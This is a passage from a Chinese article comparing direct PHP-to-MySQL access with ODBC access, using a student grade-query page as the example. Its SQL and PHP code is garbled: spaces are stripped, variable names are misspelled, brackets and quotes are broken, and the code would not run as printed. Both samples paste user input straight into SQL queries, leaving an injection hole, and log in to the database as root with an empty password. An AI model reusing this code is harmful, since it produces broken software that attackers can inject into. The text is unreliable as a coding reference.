上述两种方法在与数据库建立连接的语法上,并没有太大差别。不过在相比较之下,通过ODBC方式存取数据库比PHP直接存取MySQL耗时间,但通过ODBC接口存取数据库不必担心使用何种数据库,如Oracle,Informix,Sybase等。它们都支持ODBC接口,这样可减少更换数据库时需要更改程序的问题。图1显了PHP连接数据库的两种方法。
PHP
MySQL
MySQL
图1PHP连接数据库说明图
4.一个应用实例
现在很多校园网站都提供成绩查询功能。PHP和MySQL数据库相结合使用可以方便的实现此功能。首先建立数据库Score及数据表Score。建表SQL语句如下:
CreattableScore(
Stu_novarchar(10)notnull,
namevarchar(10)notnull,
scoreltinyint(4),
score2tinyint(4),
PrimaryKey(stu_no)
);
1)通过PHP的数据库函数访问MySQL的代码如下:
〈?php
print(“〈html〉〈head〉\n”);
print(“〈title〉成绩查询〈/title〉〈/head〉\n”);
print(“〈body〉〈cennter〉”);
print(“〈fontsize=6color=”ff0000〉您的成绩如下〈/font〉”);
$comm=mysql_connect(“localhost”,“root”,"");
mysql_select_db(“Score”,$comm);
$str=“Select*FromScoreWherestu_no=’$pstu_no''''andname=’$pname''''”;
$reault=mysql_query($str,$comm);
print(“〈tablealign=center〉”);
$sqlrow=mysql_fetch_row($result));
print(“学号:$sqlrow[0]”);
print(“姓名:$sqlrow[1]”);
print(“成绩1:$sqlrow[2]”);
print(“成绩2:$sqlrow[3]”);
print(“〈/table〉〈body.〈/html〉”);
?〉
2)通过ODBC访问MySQL数据库的代码如下(省略的代码同上):
〈?php
…
$comm=odbc_connect(“Score”,"system","");
$str="Select*FromScoreWherename=’$pname’andstu_no=’$pstu_no’”;
$result=odbc_do($comm,$str);
…
while(odbc_fetch_row($result))
{
$pstu_no=odbc_result($result,"stu_no");
$pname=odbc_result($result,"name");
$score1=odbc_result($result,"score1");
$score2=odbc_result($result,"score2");
print(“学号:$pstu-no”);
print(“姓名:$pname”);
print(“成绩1:$score1”);
print(“成绩2:$score2”);
}
…?〉
5.结束语
对于Wed服务器端的开发,PHP是一种易开发、高效能的动态脚本编程语言。在未来的几年内,PHP必将成为主流的脚本语言,并被Wed研究和开发人员熟悉和掌握。
参考文献